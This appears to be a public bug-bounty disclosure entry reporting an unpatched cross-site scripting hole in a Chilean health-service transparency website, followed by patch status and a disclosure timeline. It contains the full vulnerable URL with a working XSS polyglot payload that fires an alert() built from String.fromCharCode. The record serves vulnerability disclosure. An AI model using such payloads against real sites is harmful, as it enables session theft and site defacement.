transparencia.redsalud.gov.cl XSS vulnerability

transparencia.redsalud.gov.cl XSS vulnerability, unpatched Vulnerable URL: http://transparencia.redsalud.gov.cl/transparencia/index.php?item=%5B%27value%27%5D&id;=%5B%27value%27%5D%27%27;alert(String.fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89))//%27;alert(String.%20fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89))//%22;alert(String.fromCharCode%20(79,80,69,78,66,85,71,66,79,85,78,84,89))//%22;alert(String.fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89))//--%20%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert(String.fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89))%20%3C/SCRIPT%3E Patched: No, Latest check for patch: 30.07.2017, Vulnerability type: XSS, Vulnerability status: Publicly disclosed, Alexa Rank: Unknown / Not calculated, VIP website status: No, Check transparencia.redsalud.gov.cl SSL connection: (Grade: F) Coordinated Disclosure Timeline: Vulnerability submitted via Open Bug Bounty: 26 July, 2016 13:37 GMT, Vulnerability existence verified and confirmed: 26 July, 2016 14:21 GMT, Vulnerability details disclosed by researcher: 2 August, 2016 15:12 GM